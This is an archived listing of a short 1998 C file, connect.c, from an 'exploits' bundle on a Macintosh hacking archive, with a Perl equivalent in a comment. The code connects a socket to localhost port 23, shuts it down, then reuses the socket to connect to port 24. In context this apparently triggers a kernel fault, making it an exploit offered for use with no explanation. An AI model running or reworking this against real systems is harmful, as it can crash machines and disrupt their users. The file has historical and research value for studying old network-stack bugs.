home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / connect.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  1KB  |  46 lines
  1. #include <sys/types.h>
  2. #include <sys/socket.h>
  3. #include <netinet/in.h>
  4. #include <sys/time.h>
  5. #include <netdb.h>
  6. #include <stdio.h>
  7.  
  8. main()
  9. {
  10.     int sock;
  11.     struct sockaddr_in server;
  12.     struct hostent *hp;
  13.  
  14.     sock = socket(AF_INET, SOCK_STREAM, 0);
  15.     /* or sock = socket(AF_INET, SOCK_STREAM, 6); */
  16.     hp = gethostbyname("localhost");
  17.     bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length);
  18.     server.sin_family = AF_INET;
  19.     server.sin_port = 23;
  20.     connect(sock, (struct sockaddr *)&server, sizeof server);
  21.     shutdown(sock, 2);
  22.     server.sin_port = 24;
  23.     connect(sock, (struct sockaddr *)&server, sizeof server);
  24. }
  25.  
  26.  
  27.  
  28. /* Here is a perl script that does the same thing as above --
  29.  
  30. -------------------------------------------
  31. #!/usr/local/bin/perl5
  32. use Socket;
  33.  
  34. socket (SOCK,AF_INET,SOCK_STREAM,0);
  35. $iaddr = inet_aton('localhost');
  36. $paddr = sockaddr_in('23',$iaddr);
  37. connect SOCK,$paddr;
  38. shutdown SOCK,2;
  39. $paddr = sockaddr_in('24',$iaddr);
  40. connect SOCK,$paddr;
  41. -------------------------------------------
  42.  
  43.  
  44. */
  45.  
  46.